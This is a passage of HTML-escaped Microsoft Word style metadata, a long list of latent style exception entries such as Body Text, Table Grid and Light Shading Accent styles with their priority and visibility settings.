   Name=&quot;List Number 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;10&quot; QFormat=&quot;true&quot; Name=&quot;Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Closing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Signature&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;Default Paragraph Font&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text Indent&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Message Header&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;11&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Salutation&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Date&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text First Indent&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text First Indent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Note Heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text Indent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text Indent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Block Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Hyperlink&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;FollowedHyperlink&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;22&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;20&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Document Map&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Plain Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;E-mail Signature&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Top of Form&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Bottom of Form&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Normal (Web)&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Acronym&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Address&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Cite&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Code&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Definition&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Keyboard&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Preformatted&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Sample&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Typewriter&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Variable&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Normal Table&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;annotation subject&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;No List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Outline List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Outline List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Outline List 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Simple 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Simple 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Simple 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Colorful 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Colorful 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Colorful 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table 3D effects 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table 3D effects 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table 3D effects 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Contemporary&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Elegant&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Professional&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Subtle 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Subtle 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Web 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Web 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Web 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Balloon Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Theme&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; Name=&quot;Revision&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;34&quot; QFormat=&quot;true&quot;
   Name=&quot;List Paragraph&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;29&quot; QFormat=&quot;true&quot; Name=&quot;Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;30&quot; QFormat=&quot;true&quot;
   Name=&quot;Intense Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;19&quot; QFormat=&quot;true&quot;
   Name=&quot;Subtle Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;21&quot; QFormat=&quot;true&quot;
   Name=&quot;Intense Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;31&quot; QFormat=&quot;true&quot;
